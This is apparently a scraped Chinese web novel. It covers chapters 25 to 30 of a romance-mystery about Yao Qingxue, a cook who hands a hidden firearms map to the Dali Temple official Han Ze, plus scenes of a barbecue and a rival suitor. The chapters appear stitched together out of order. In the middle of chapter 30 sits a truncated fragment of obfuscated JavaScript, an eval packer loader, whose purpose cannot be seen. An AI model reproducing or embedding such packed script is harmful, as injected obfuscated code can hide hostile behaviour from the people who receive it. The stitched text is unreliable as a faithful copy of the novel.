韩泽:“你想好了,在我身边,没人能杀得了你,若回姚家,你爷爷奶奶和妹妹可能都会有危险。” 韩泽说的没错,待在他身边才是最安全的,但她得回家一趟。“衣服不够穿了,我回家拿两件换洗衣服。” 他家厨娘很节俭,平常穿的都是旧衣服,上次去徐家赴宴给她买的新衣被她还了回来,现在在他房里放着呢。“好,我让杜七送你回去。” “谢谢!”姚轻雪颔首道谢,说到回家,她突然想到:“大人,那些人会不会对我家人下手?”她最怕的就是这个。 韩泽见她眼圈微红,刚才处理伤口那么疼都没哭,说到家人便不忍了,他语气软了几分:“葫芦巷有大理寺的人看守,放心吧。” “多谢大人!”姚轻雪用好的那只手抹了下眼睛,“麻烦您上点心,派几个厉害的过去,可别像其他人那样有人看着还被杀了。” 韩泽:“……”自己的事没弄明白,还敢跟他提要求? 杜七用大理寺的马车把人送回葫芦巷,不然姚轻雪那一身血,得吓坏不少路人。 姚福和刘氏还在街上卖卤味,芽芽见姐姐身上全是血,小丫头吓哭了。姚轻雪安慰妹妹,说自己不小心碰到了,哄好了芽芽,她回屋把那张图找出来。 姚轻雪想把图烧了,又有些不忍。韩泽为找火器费尽心思,韩大人帮她不少,还给芽芽上户籍。如果这张图是唯一线索,烧了就没人能找到火器,这可能会成为韩泽的心病,她这么做会不会忘恩负义? 思来想去姚轻雪没烧,图留在姚家不安全,她换了身衣服便回了太平巷。在她回来之前韩泽派人把药送回来。等她到家曹叔已经煎好药,煮了猪肝,还蒸了一大碗猪血。 姚轻雪有点感动,她没帮到韩泽,韩泽却把她的话听进去了。曹叔从来不为自己下厨,却了为她在灶房忙了半个时辰。只不过猪血腥味重,猪肝煮老了。姚轻雪喝了治伤的药,又吃了点猪肝猪血才回房躺着。 虽然头很晕,她却睡不着,该怎么处理这张图呢? 30. 第 30 章 留——怕惹祸上身,烧——觉得对不起韩大人。姚轻雪左右为难,直到韩泽回家她也没拿定主意。 午膳是韩泽从外头带回来的,韩大人想着他家厨娘有伤在身下不了厨,便去最近的食肆买现成的。等待时见有人买补血药膳,便问了一嘴。 跑堂的以为他买给家中娘子,常有郎君每月定时给自家娘子买补血药膳,便给他推荐:“本店当归红枣乌鸡汤颇受娘子们喜欢,吃上几日便会气血充盈,恢复往日神采。” 一听这么好,韩泽当即掏出银子定了半个月的当归红枣乌鸡汤,叫食肆每日送去太平巷。 跑堂的愣了愣,不太确定地问:“您家娘子可是身体太过虚弱?”一般女子月事补几天就够了,不然过犹不及。 韩泽点点头,姚轻雪失血过多,身体虚弱是肯定的,郎中说她得养一个月,那就先吃半个月。他记得母亲和妹妹偶尔也会吃补血药膳。只是让韩家厨子过来做,免不得又是一番麻烦,韩莺才消停没几天。 姚轻雪端着韩大人买回来的乌鸡汤很感动,加了当归的鸡汤其实并不好喝。为了身体,她捏着鼻子喝下去。 外面买的饭菜韩泽吃的没滋没味,垫了垫肚子就去上直了。走之前叮嘱姚轻雪不要离开家。太平巷离大理寺不远,这边常有大理寺官差路过,有人想来他家里杀人得掂量掂量。 姚轻雪贴着门,听见大门合上的声音,没一会儿曹叔也回屋了,曹叔有午睡的习惯。她等了一盏茶的功夫,悄悄打开门蹑手蹑脚去了书房。 片刻后姚轻雪做贼似的从书房出来,回到房间后她心里七上八下,不知道自己这么做对不对?越是纠结越是怀疑,然后就后悔了。她想去书房把图拿回来,刚走到书房门口大门突然响了。 见他家厨娘像受惊的兔子似的逃回房间,韩泽勾了勾嘴角,他装模作样去书房。姚轻雪把房门打开条缝听外面的动静。见人去了书房,她的心提到了嗓子眼,暗自懊恼该早一步。 “咚咚”突然响起的敲门声把她吓一哆嗦,姚轻雪稳了稳神打开房门。 韩泽把手里的纸举她眼前:“你画的这是什么玩意?” “不是我,你书房又没锁,兴许是有人偷偷进去过。” 韩泽意味深长地看着她,姚轻雪一拍脑门,人家什么都没问,她一紧张自己全招了。 “桌上的笔墨用过,家里只有你和曹叔,曹叔从来不拿笔。”韩泽抖了抖手里的纸:“墨是贡墨,只有皇宫才有,陛下赏赐给我,纸是大理寺专用,除了我的书房,别处想凑齐这两样难,你不认?” 其实姚轻雪趴他桌上画的时候,杜七都看见了,估计他家厨娘认为书房很安全,殊不知这么长时间杜七和封八都在书房里监视她。这张纸早在她走出书房后不久就被送去大理寺。韩泽回家进书房不过是装装样子。 姚轻雪傻眼,她只想到自己的劣质笔墨会露馅儿,却没想到韩泽用的东西这么有来头。 “我心血来潮随便画画。”她去抢韩泽手里的图。 韩泽一把攥住她的手腕:“你画的是哪座山哪个峰?东西就藏在这里?你总往城外跑,就是为了找这地方?” 姚轻雪甩了甩手,没甩开,韩泽的五指像钳子似的牢牢抓着她的手腕。她气道:“我哪知道,你看不出来我更看不出来,不然我早找到了。” 说完她发觉又说错话了,自己在韩泽面前总是没什么防备心,韩泽是不是她下了蛊? 算了,反正也露了,干脆都说了了吧,“图是张迁妾室吴姨娘给我的,说是藏宝图。放手,疼。” 韩泽看一眼她发红的腕子,讪讪地松开手。姚轻雪揉着手腕瞪他一眼,转身回屋坐到桌边。 “对不住。”韩泽心虚地摸摸鼻子,他也没用多大力气,怎么跟面做的似的。韩大人跨步进屋坐到桌子对面。“吴姨娘无缘无故为何把藏宝图给你?” “让我照顾她的猫,然后就把张迁枕头里的图给了我,说是藏了金银财宝,那猫现在就在我家。”姚轻雪没把芽芽的事说出来。妹妹的身世知道的人越少越好。 “为了一只猫,给你藏宝图?你觉得我会信?”韩泽不信。她嘴里没有一句实话,上午他还以为冤枉了人,下午她就把她画出来。 “这你就不懂了。”姚轻雪继续编:“有人把宠物当孩子养,吴姨娘无儿无女把感情都寄托在宠物身上,那只猫跟她亲儿子差不多。那种情况下她为了猫儿子把藏宝图给我也可以理解。” 韩泽不懂这类人什么心思,畜生就是畜生,怎么能跟儿女比。“所以你一直以为这图上藏的是金银财宝?” “不然呢,早知道不是财宝,我早把图扔了。”姚轻雪越想越气,“吴姨娘说是藏宝图,我就以为是,谁知道她死到临头还骗人。” 韩泽看她一眼,这像是她能干出来的事,眼里都是银子,别的东西不见得让她这么费心思。当初他就是每月五两银子把人骗家来的。 “吴姨娘不见得知道真相。”以张迁的为人,不会轻易将此事告知于人。吴姨娘在张迁心里有多少份量,他不得而知。 韩泽问了姚轻雪与吴姨娘那次碰面的细节,姚轻雪小心回答。事到如今没什么可隐瞒,主要不能露了芽芽。 韩大人晃了晃图:“你知道大理寺为了找它费了多少人力物力?我用了多少心血吗?再找不到我大理寺少卿的位置也保不住了。”即便陛下不罚,他自己都没脸待下去。 真是踏破铁鞋无觅处,得来全不费工夫。他对姚轻雪的怀疑是错了,但把她弄到家里是最正确的选择。不然,哪里能拿到图?此宝非宝却胜宝,这一千件火器可比金银财宝贵重,只是他家厨娘没命得罢了。 “你没找到,别人不是也没找到?幸亏在我手里,若是在旁人手里,还不一定怎么样呢,你得到图我功不可没。”姚轻雪小声说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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自缢后,再让人杀了妻妾,姚轻雪打了个冷颤。绝对不能让芽芽知道身世。亲爹杀了亲娘,身为他们的女儿怕是一辈子都不能释怀。姚轻雪捉摸不透张迁这个人。好像对谁都不在乎,妻子、妾、女儿,甚至他自己的命。一个人能狠绝至此也是人间少有。 韩泽看了许久也没弄清楚,就问:“原图还在吗?” 姚轻雪想了想,起身从床头的枕头里拿出荷包,从里面掏出一张皱巴巴的纸。 韩泽小心地打开原图仔细端详,与姚轻雪画的并无二致。“这到底是什么地方?怎么会如此简单?” 姚轻雪摇头,“我也想不明白,这图画出来有什么用?” “或许这张图背后另有玄机,只是我们还不知道。”韩泽把纸翻了个面,指着上面一条墨渍问:“背面写的什么?” “没什么,我刚会写字时随便写的。”后面是吴姨娘写的芽芽的住址,因为这个姚轻雪才没敢把原图给韩泽。现在既然选择相信他,那便不在留了。“我听说有的纸经过特殊处理,这张图会不会也是?”这也是她没有烧掉图的原因。 “我拿去大理寺。”韩泽把图小心收好,他突然想到一个问题:“你如何把图带出张家?”抄家时所有人都搜过身的。 姚轻雪看看他,知道不把话说清楚这人不会罢休,与其说给别人,还不如让韩泽知道。“放肚兜里带出来的。” 韩泽沉默,片刻后道:“看来抄家抄得不够彻底,以后亵裤都得搜一搜。” 姚轻雪:“……” 25-30 第25章 第25章“你哥牙缝没那么大。”…… 韩夫人有些头疼。外甥女对儿子有意,年纪也不大,即便三五年后成亲也来得及,但犟驴儿子就是不同意,说什么亲妹妹一样,如何做夫妻?儿子不点头她也不敢答应,不然她怕亲戚成仇人。 次日,姜玥瑶被表妹拉到太平巷,人还有些懵,她爱慕表哥,但表哥对她无意,母亲让她趁早断了念想,男女之事若是男人对你没有情,即便成亲吃亏的也是女人。姜玥瑶也想断,可是她所见男子均不如韩泽,让她如何断得了。 马车里韩莺叮嘱姜玥瑶:“表姐,你记住一定不能给那厨娘好脸色,我们两个连手让她知难而退,早点离开大哥。”路上她这嘴就没停过。 姜玥瑶纳闷,表妹小孩子心性,只要哄她开心,跟下人都能处到一块。那个厨娘如何得罪了韩莺?让她怨气这般大?“表妹,这么做会不会不妥?表哥知道了、” “你放心,大哥不会把我们怎么样,有我娘呢。”韩莺美滋滋道。她哥敢揍她,她就去找娘告状。虽然告状没什么用,但大哥怕娘哭,娘一哭他就没辙。从家里搬走不就是不想总看见娘哭哭啼啼的? 姜玥瑶欲言又止,其实她不大想来,但也很好奇韩泽喜欢的女人是什么样子?很快马车来到太平巷。 两人刚下马,韩莺吸了吸鼻子:“什么味儿?”她转着脑袋四处闻,然后发现香味是从大哥租的小院传出来的。特别香,韩莺急忙推开大门。 姚轻雪正在院里烤肉脯,炉子和烤盘都是铁做的,可以烤肉脯、烤肉。定做有几日了,今日刚拿回来,她想试试效果就用家里的剩肉做了点肉脯。 曹叔见二小姐和表小姐来了,赶忙行礼。姚轻雪抬头看了一眼,又低头继续烤。韩泽妹妹估计又来找茬了,不知今日会不会甩她五百两。有的话,那就太好了。 见姚轻雪不搭理她,韩莺不高兴:“见了主子怎么不行礼问好?你是哑巴吗?” “没看我忙着呢吗?耽搁你大哥午膳,你想好后果。”姚轻雪头都没抬,“还有,我主子只有你哥一人,我不伺候你。” 韩莺不忿想斥责,但想想自家大哥饿肚子时的臭脸,她闭了嘴,天大地大没有大哥饿肚子事儿大。她走到烤炉前:“你在做什么?不会又给我哥吃乱七八糟的东西吧?” “不告诉你。”姚轻雪往肉脯上刷油,免得烤糊。韩莺倒是提醒她了,改天买两个羊腰子烤。“曹叔,改天给您烤羊腰子。” “好,好。”曹叔笑出一脸褶子。他爱吃羊肉,但韩泽不喜欢,他就很少吃羊的东西。姚厨娘来了以后,少爷偶尔也吃羊肉。姚轻雪还想着给他烤羊腰子,曹旺哪能不高兴。 又是乱七八糟的东西,韩莺气道:“姚轻雪你是不是对我有意见?” “是。”姚轻雪大方承认。 韩莺:“……” 姜玥瑶:“……” 眼看表妹要炸,姜玥瑶赶紧扯了扯韩莺,对她使了个安抚的眼色,韩莺这才没说话。 姜玥瑶上前几步:“姑娘别介意,莺儿心直口快她没坏心的。” 姚轻雪抬头看看姜玥瑶,再看看韩莺,这是找来了帮手?轻声软语倒不像韩莺那么张扬。她笑笑没说话,低头翻肉脯。肉脯已经烤的差不多了,焦香扑鼻。韩莺悄咪咪盯着滋滋作响的肉脯,咽了咽口水,都忘了找茬。 姚轻雪抓了点芝麻撒在肉脯上,片刻后把薄薄的巴掌大的肉脯夹到盘子里,递给曹叔。 “为何给曹叔?”韩莺不满道,没看见她在这呢?韩家大小姐何时被人这般慢待过。 “尊老爱幼懂不懂?”姚轻雪白了她一眼,“曹叔每日替你哥收拾房间、浆洗衣物,打扫院子,这炉具还是曹叔扛回来的,你做什么了?” “我、”韩莺说不出话,她确实什么都没为哥哥做,在韩家也用不着她这些做呀。 曹旺尴尬,把盘子递过去:“二小姐先用。” 韩莺把盘子推了回去:“您先吃,还有呢。” 姚轻雪看了她一眼,又夹了一块递给姜玥瑶。姜玥瑶愣愣地接过盘子,没想到姚轻雪第二个会给她,转头见表妹韩莺气鼓鼓地瞪着姚轻雪。她刚想开口就听姚厨娘说:“去灶房拿盘子、筷子,你想用手抓?”没想到会有外人来,她只拿了俩盘子出来。 “哼。”韩莺虽不高兴,可为了能快点吃上就不跟这厨娘计较了。她提着裙摆跑去灶房拿了盘子筷子出来。等她从姚轻雪手里接过盘子,发现四四方方的肉脯缺了一个角。再看那厨娘,嘴里嚼着。“你干嘛吃我的?” “你的?哪个是你的?写你名字了?不吃给我。”姚轻雪嚼着肉脯,味道刚好,若是有蜂蜜就更好了,撒点茱萸粉韩泽或许会喜欢。 “才不给。”韩莺小孩子赌气似的端着盘子跑到墙边,看着姚轻雪狠狠咬了一口肉脯。然后她眼睛瞬间瞪大,好好吃。 一口肉脯没多大,两三口就让她吃没了,她去看表姐,姜玥瑶赶紧把最后一小块儿放进嘴里。 韩莺:“……” 姚轻雪正在烤第二盘,见大馋丫头走过来,“没有了,这几片是给你大哥的。” “怎么做这么点?都不够我哥塞牙缝的。”韩莺不满道。 姚轻雪:“你哥牙缝没那么大。” 韩莺:“……”这厨娘说话忒气人,可她刚吃了人家东西,也不好对她发脾气。 韩莺眼巴巴看着烤盘上的肉脯,样子跟芽芽站在锅边看她做红烧肉一个样。姚轻雪问:“还想吃?”韩莺猛点头。 “明日吧,若是喜欢甜的,带些蜂蜜过来,不过你得帮我剁肉,不干活别想吃。”肉剁成泥很累人,姚轻雪不想费力不讨好,干脆让她自己动手。 “行。”韩莺想都没想就应下来,剁肉嘛,她带人过来不就行了。“明日上午我和表姐一起来,你别忘了啊。” 韩莺怕继续待下去她把大哥的肉脯偷吃了,便拉着表姐往外走。等明日吃了肉脯再赶她走也不迟。 气势汹汹地来,吃了块肉脯转头就走,姜玥瑶无奈,她们干什么来了? 午膳时姚轻雪说起此事,韩泽给她十两银子,让她多买些肉回来。肉脯他也喜欢。 第二天姚轻雪干脆买回一条猪后腿,又买了五花肉、羊肉、豆腐等,看见鱼、河虾也买了些。反正都是烤,不如吃烤肉算了。 辰时末韩莺和姜玥瑶就到了,她俩带了两个膀大腰圆的婆子过来。姚轻雪也不客气,指使两个婆子剁肉,把一整条猪后腿的肉都剁成泥,韩莺带过来一罐蜂蜜。 姚轻雪很满意,蜂蜜贵,这么大一套罐够用很久了。她将肉脯调了几味儿,原味、芝麻味、蜂蜜味、茱萸味。然后让韩莺烤。 韩莺不乐意:“为什么要我做?你干什么?” “我 弄菜,你不想吃午膳了?“羊肉、五花肉还有鱼和虾都得腌制收拾。 韩莺身边的小丫鬟上前:“我来帮小姐。” 姚轻雪摇头惋惜:“自己亲手做出来的东西,吃着更香!” “是吗?”韩莺问表姐。 姜玥瑶一脸温柔地摸摸表妹的脸蛋,“表姐和你一起。” 韩泽怕妹妹和姚轻雪打起来,提前回来。回家就看见自家妹妹和表妹在炉子前战战兢兢,俩人脸上黑一道白一道,额头上都是汗。 “姚轻雪,糊了,你快来看看呀,咳咳、”韩莺拿着竹夹给肉脯翻面。她从小到大就没做过这个,翻动几下都没能把肉脯翻起来。 厨房传来喊声:“糊了你不会往盘子里捡?笨!” 姜玥瑶赶紧接过表妹手里的竹夹,两个十指不沾阳春水的大小姐手忙脚乱,还是没能挽救肉脯。一股焦糊的味道传进灶房。姚轻雪放下手里的活,出来看见肉脯已经黑成炭了。韩莺和姜玥瑶像做错了事,怯怯地看着她。 “一回生、两回熟,下次就好了,我看好你们。”姚轻雪把铁板拿去灶房洗刷干净,重新拿出来放到炭火上。 韩莺撅着嘴和姜玥瑶躲得远远的,又热又呛,她不干了。 韩泽站门边看了许久,也没见妹妹过来告状,她还卖力干活,也不知姚轻雪怎么忽悠的?看样子妹妹和表妹两个加起来也不是姚轻雪对手。他走过去:“我来吧。” 韩泽觉得烤肉不难,但一上手就废,没比韩莺好多少。 腌完肉、蒸了米饭,拌了两个凉菜,姚轻雪这才从灶房出来。她见韩泽满头大汗、手忙脚乱地烤肉脯。再看他烤出来的东西。“韩大人,您还是边上等着吧,糟蹋东西。” 韩泽讪讪地让了位,曹叔把堂屋的大方桌搬出来放在院中,给几位主子坐。姚轻雪看了看院中的几个人。“曹叔,您把灶房的小桌也搬出来吧。” 韩莺和姜玥瑶带过来的丫鬟婆子都在一边站着,虽然大户人家主子用膳,仆人站一边看着没毛病,但姚轻雪觉得别扭。 第26章 第26章“辛苦了,多谢。”…… 姚轻雪让丫鬟婆子坐小桌,她每次烤完都分出两片给她们。这几人起初还放不开,偷偷去看主子。韩泽并不会管这些,韩莺顾着吃没空理她们。几个人尝了口肉脯后满心欢喜,主动给姚轻雪打下手。 姚轻雪烤了几板肉脯便开始烤肉,韩莺还有意见,她喜欢吃肉脯,四种口味都喜欢。让她日日吃都不会腻。 “这么多人你想累死我啊,先把肚子填饱,然后你自己个烤。”姚轻雪发现这丫头跟他哥一样,毛病真多,干啥啥不行,吃饭第一名。 羊肉和五花肉腌制入味,放在铁板上滋滋作响,香味儿很快弥漫了整个小院儿。口口声声说肉油腻的韩莺吃得停不下来。姚轻雪发现韩泽的表妹很聪明,不吭声闷头吃,看着斯斯文文实际吃得可不比韩莺少。 韩莺带过来的两个婆子在韩府做帮厨,烤肉没什么难度,看两眼就会,她俩把烤肉的活接过去。虽然才来没多大会儿,这两人也发现少爷对这位姚厨娘很宽容。 韩泽的婚事都快成了韩夫人的心病了,府里下人闲来无事也会偷偷聊两句解闷。少爷把一个姑娘留在身边做厨娘,若是没点心思,谁都不信。 有人接手姚轻雪乐得自在,她起身擦了擦脸上的汗,夏天吃烧烤是真遭罪,还好今日阴天没有太阳。不过遭罪的是她这个厨子,看看人家韩家兄妹一口烤肉一口拌菜。韩莺边吃还边嫌菜少。 姚轻雪心说给你准备这顿已经是她大度了,嫌少回家吃去。她坐在一旁歇息,隐约看见大门外有人。“曹叔,外面谁?” 曹叔抬头看了一眼:“韩府车夫。”主子在院里吃饭,车夫在外面守着马车。但架不住香味总往鼻子里钻,他就偷偷从门缝往里瞧。 “叫进来吧,我去炒个饭,都能吃饱。”人这么多,炉子小光吃烤肉供不上,姚轻雪打算做炒饭,顶饱还快。 有的人不吃主食总觉得不饱。先前她怕韩泽和曹叔光吃烤肉不行,才蒸了米饭,这会儿倒是用上了。姚轻雪把烤盘上的羊肉和五花肉拿走,在灶房用烤肉和鸡蛋炒了半盆炒饭。 韩泽那桌有肉脯、烤肉、烤鱼、烤虾。小桌有炒饭,另有两碗拌瓜丝和拌青菜,拌青菜用肉卤做浇头,瓜丝放了胡麻油、酱油和茱萸辣油,凉拌菜里都放了糖,吃起来清甜爽口又解腻。 车夫、曹叔,两个丫鬟,两个婆子,外加姚轻雪吃着炒饭、拌菜。后来韩泽那桌吃不动了。小桌这边也给自己烤了肉、河虾、鱼和青菜。 几个仆人往日哪里吃过这么好的东西,韩家不会苛待下人但也不会给他们吃烤肉。就是这炒米饭都让他们顾不上说话,有肉有蛋米饭油汪汪,一口下去,就一个字——香! 韩莺打着嗝往这边看,她也想尝尝炒饭,闻着好香,但她不大好意思张口,于是就去看她大哥。想让他大哥吩咐姚轻雪把饭端过来。韩泽转头见他家厨娘满头汗,便自己去盛了些炒饭回来。 韩莺和姜玥瑶给自己碗里拨了点,但她俩实在吃不下了。韩莺放下筷子揉肚子。“明日再来。” “可别。”姚轻雪不干,日日这么折腾,她受不了。“大小姐想吃,让您府上的厨子做,您就别折腾我了。” 韩莺噘嘴:“什么叫折腾?你是厨子,你不、” “莺儿!”韩泽打断她,“烤肉生痰,偶尔吃一次就好。你总往我这跑,书不读了?”家里有给韩莺和韩娇请先生教读书,韩莺总往外跑,先生也拿她没辙。 韩莺撅着嘴,“知道了。”她不怕爹娘,但很怵大哥。 吃到最后,除了做肉脯的肉泥,其他的一点没剩,姚轻雪准备的食材不少,但架不住人多,若是没有那半盆炒饭,根本不够吃。 吃饱后韩莺还想赖在这,姚轻雪:“小心发胖,赶紧起来活动,收拾碗筷的活就交给你了。” 韩莺哪里肯,她拽上表姐往外走,“大哥我走了,改天再来看你。那个、那个厨娘,下次本小姐来你要记得再做肉脯。”丫鬟婆子车夫给韩泽行礼后,匆匆随主子出了院子。 “您可别再来了,不光气人还累人。”姚轻雪边收拾碗筷边嘀咕。 韩泽看她一眼:“辛苦了,多谢。”妹妹家里宠的任性,姚轻雪嘴上不饶人,但也还是给妹妹做了肉脯。顺带连仆人的份都带上,他总要道声谢。 “不苦。”姚轻雪笑眯眯道,“大人,还剩些肉泥,我想做出来给我家人尝尝,我家可做不起炉具。”铁炉子和烤盘要花不少银子,她家暂时没有闲钱做这个。 “行,不够再去买,银子我出。”韩泽很痛快。 “不用,这些就够了。”姚轻雪道,韩泽不计较,她却不能不懂分寸。 她想做肉脯还是因为芽芽,小丫头没什么零嘴,家里的卤货总有吃腻的时候,姚轻雪就想着给她做点零嘴,但定做这套烤盘炉具不少银子,她就撺掇韩泽做了这套炉具。 姚轻雪在院中烤肉脯,韩泽拿了几块茱萸味儿的去上直。韩大人刚走出太平巷,就有人来敲他家门。曹叔回屋午睡了,姚轻雪开门见是宋筠。 “这香气害我书都看不下去。”宋筠笑得颇为无奈。若不是听见隔壁院里吵吵嚷嚷很多人,他早就过来了。 姚轻雪把人请进来,小桌还在院中,她让宋筠坐过去,宋筠却搬了凳子坐在她身边。宋公子端着盘子津津有味地吃肉脯,时不时地夸姚轻雪两句。 书房里从窗户缝往外看的杜七摩挲着下巴,这书生来的可真巧,他家大人前脚刚走他就来了。这事要不要告诉韩少卿呢? 吆,瞧瞧人家多贴心,杜七眯着眼看宋筠给姚轻雪扇扇子。他家大人要是这么体贴会哄人,孩子都几个了。哎,算了,人和人就不能比。 剩下的肉泥烤了约两盘肉脯,姚轻雪给宋筠一盘,一盘带回家给妹妹。芽芽高兴坏了。 刘氏笑道:“每天都盼着你回来,我 看她是想好吃的了。“姚轻雪经常给芽芽买吃食,小到糖果大到糕点、新鲜果子,小丫头总盼着姐姐回家。 “没有好吃的我也想姐姐。”芽芽自己吃还不忘给姚福和刘氏,也没落下小白。小白最近吃得好,已基本恢复本来样貌,非常漂亮的白猫,巷子里人见人爱。 “不要给它吃太多,猫不能吃太咸太油,不然会生病。”姚轻雪叮嘱完妹妹,就问姚福:“爷爷,最近生意怎么样?” 姚福乐呵呵道:“还行,每日都能卖完,我想着要不要多做一些。” “暂时不用,天热卖不完就得扔,而且做太多您也累,钱是赚不完的。”姚轻雪不想他们太累,韩泽日日回家用午膳,她也没时间帮忙,能维持现状就好。 姚福点点头:“也是,万一哪天病了,一天不出摊就少赚不少,得不偿失。”刘氏受不得累,现在帮着收收钱倒也累不着,再多怕是不行。 刘氏见孙女袖口补了块补丁,“改日我去买两块料子,给你和芽芽做新衣裳。”最近赚了不少,刘氏便想给两个丫头打扮打扮。尤其是大孙女,最近瞧他家赚了银子,来打探的人也多了。“前两日刘媒婆来打探你,你咋想的?若是要嫁人,韩家的活就不能做了,不然会有闲言碎语。” “不急。”家里老的老小的小,她嫁了家里怎么办?最重要的是粗鄙之人她瞧不上。若是与那种满嘴脏话、一年不洗澡,半月不刷牙的人过日子,姚轻雪觉得还是孤独终老更好些。 且走且看吧,遇见合适的就成亲,没有便跟家人一起过。反正她没指望靠男人过活。 她不急,刘氏和姚福急啊,刘氏:“你年纪不小了,该成家了。现在就看你的意思,是招赘还是嫁人?嫁人爷奶给你攒嫁妆,招赘就找那种死了爹娘、人品好的,省得以后拿咱家东西贴补他家里。” 姚轻雪笑:“奶,您这可强人所难了,哪有那么合适的人。”旁的她不在乎,人品一定不能差。 “你不用管,交给我了。”刘氏回屋拿了布条给她量衣服尺寸,量胸口时刘氏道:“你是不是比以前粗了?” 姚轻雪低头看看自己,别的地方没怎么长肉,但这里却肉眼可见地大了,那里一鼓就显得人粗。 在葫芦巷待了半下午,姚轻雪才回去给韩泽准备晚膳。第二天韩泽上直后,宋筠又来隔壁。他提着食盒:“昨日吃了令妹的肉脯,今日买些糕点果子,也不知她喜不喜欢?” “公子太客气了,我不能收。”姚轻雪推拒,最近宋筠总给她送东西。偶尔收一点不怎么贵重的,礼尚往来给他做几顿饭算是抵了。但太多她不能要,吃人最短、拿人手短。 “我不爱吃这些,你不收只能扔了,你不是常说浪费食物可耻吗?”宋筠眉眼含笑地看着她。 第27章 第27章“你到底来干什么?”…… 姚轻雪被宋筠看得不自在,她垂下眼道:“仅此一次,您不能再这样了,不然我就不去给您做饭。” “这是威胁吗?”宋筠笑道:“好吧,你成功了。” 书房里的杜七啧啧了几声,读书人心眼儿真多。他家大人后院快要起火了,这事务必得上报。 韩泽很清楚宋筠对他家厨娘心思不纯,最开始或许是冲着姚轻雪的厨艺,但现在已经变了味儿,不过他也不能出面干涉。 自上次西柳巷诱捕失败后,事情就没了进展,韩泽急得嘴上起了一圈泡。当初他信心满满认为姚轻雪有问题,只要盯住她就能把藏在京城的北齐细作一网打尽。或许还能找到丢失的火器。但是这么长时间过去,姚轻雪身上疑点不少,却自始至终都没能抓到她任何把柄。在大理寺做事以来,韩大人第一次碰见让他头疼的人。 该拿姚轻雪怎么办呢? 陈九见他家大人愁眉不展,就给出主意:“大人!要我说不用费这么多精力监视,不就是个厨子嘛,她能多厉害。把人抓来严刑拷打,看她嘴硬还是咱大理寺的刑具硬?” “我看是你皮子紧了。”杜七踹了陈九一脚,封八说这小子愣头愣脑不会看人脸色,还真是。 姚轻雪伺候韩泽这么久,做饭应时应晌,饭菜也对胃口,韩大人脾气都好了很多。他们大人对那厨娘能没点感情?严刑拷打?姚厨娘有问题也就罢了,若是没有问题,韩泽得扒他一层皮。 来硬的容易,把人带到大理寺上刑,十个姚轻雪也顶不住。难的是万一弄错了怎么办?那厨娘看着性子软和,实际主意大着呢。 这小子还是太年轻欠历练,“赶紧去巷子口盯着,万一有事你和封八好有个照应。” 平常都是杜七和封八进韩泽书房近处盯着姚轻雪,陈九经验不足就让他在巷子口。陈九捂着屁股走了。 这时余天照从外面走进来,“大人,西柳巷的事查清了,是饭堂的张段,兄弟们在饭堂随口说过两嘴,怕是张段听得一知半解传错了消息。张段已经按住了,据他说有人给他银子,让他每日把在大理寺听到的话传给他们,尤其是关于火器的。” “人抓到了吗?”韩泽问。 余天照摇头,“都是对方来找张段,有时是路上、有时是他家里,我想把张段放了,看能不能把人逮住,不过属下觉得悬,张段胆小,就他那慌里慌张的样子,放他出去也只会漏了马脚。” “抓他也没什么用,试试吧。”韩泽道。 杜七看了看韩泽:“那西柳巷的事与姚厨娘没有关系?” 余天照:“也不见得,有两伙人去了西柳巷,一伙是找张段的,那另一伙呢?” “至少嫌疑少了一半。”杜七道,“我听说张家流放的奴仆又有人死了,可是真的?” 余天照点点头,流放地离京城太远,大理寺鞭长莫及,只有人死了才会传消息过来。从张家出去的人大理寺都仔细查过,没有问题才放走的。那些人死前都受过折磨,不像是北齐细作会做的事,倒有些像是泄愤。 韩泽眉头紧皱,底是谁杀了他们?“杜七你和封八把姚轻雪盯紧些,不要让她离开你们的视线。” 按规矩,盯了这么久没发现姚轻雪有问题,人早该撤了,但与张家有关的人接连死去,对姚轻雪的监视还得继续,是监视也是保护。 晚上,韩泽回到家,姚轻雪去灶房,没一会儿端上来一碗凉拌面。肉卤、瓜丝青菜做配菜,但没有茱萸辣油。他家厨娘说上火不能吃辣,炖肉都给他停了。韩泽心里有事胃口不好,随便吃两口便放下筷子。 姚轻雪见他剩下大半碗面,“曹叔,大人是不是有心事?”韩泽眉头不展,到家一句话都没说,现在连饭都吃不下。 曹叔:“应是公事,咱们帮不上忙,记得别惹他生气。” “知道了。”姚轻雪不傻,不会在韩泽心情差时去触他霉头。这几天她都没敢提芽芽户籍的事。 这天夜里,韩泽躺在床上听着隔壁轻微的响动,突然哐嘡一声,他鞋都没穿就跑了出去,踹开隔壁房门,看见姚轻雪撅着屁股趴在床下。 韩泽大步进屋扯着两腿就往外拽,被拖出来的姚轻雪懵了,她翻过上半身,身体以扭曲的姿势看来人,见是韩泽松了口气后问:“你干嘛?” 韩泽:“……”尴尬的韩大立马放手。 “哎呦。”姚轻雪没料到他说松手就松手,两脚重重地落到地上,疼得她掉眼泪。“你到底来干什么?” 韩泽摸摸鼻子,“我还想问你大半夜不睡觉折腾什么呢?” 姚轻雪坐在地上揉摔疼的脚,她干什么了?不就是捡掉到床下的袜子,不小心撞翻了凳子,至于把她薅起来吗? 踹门的动静不小,把曹叔惊醒了,曹叔站在门外,探头问:“怎么了这是?”他看看没穿鞋袜、只穿里衣的韩泽,再看看也只穿里衣、光着脚丫的姚轻雪。目光在两人身上徘徊,他是不是来的不是时候? 韩泽转身出了屋子,回身把房门关上。刚刚听到声响,他以为姚轻雪屋里进了人,踹开门后屋内油灯昏暗,她那个趴姿,他又以为床下有人掐她脖子。韩大人扶额,是他太紧张了。 曹叔小声道:“少爷,姚厨娘是个好姑娘,您要有想法就让夫人请媒人,可不行做那个。”韩泽:“……您误会了,回去睡吧。” 屋里的姚轻雪一头雾水,是她动静太大,吵到韩泽睡觉,所以他生气了?也只能是这个原因,不然韩泽突然发什么疯。 她从地上起来,小心翼翼地把倒下的凳子扶起,然后一瘸一拐地上床睡觉。 次日早,姚轻雪把汤包端出来,韩泽撂下一句:“不吃。”就走了。 不就是夜里吵他一下嘛,至于气到不吃早饭?姚轻雪嘀咕。 早饭不吃,大理寺不知有多少人要倒霉,曹叔赶紧找来食盒,把姚轻雪端着的盘子放进食盒追了出去。 韩泽走后没多久,韩莺和姜玥瑶来了。韩莺又让她做肉脯,姚轻雪不做:“脚伤了,做不了。” “又不用脚,伤了就伤了呗。”韩莺背着手围着姚轻雪看。 这话把姚轻雪气着了,“不愧是兄妹,一样没良心。” 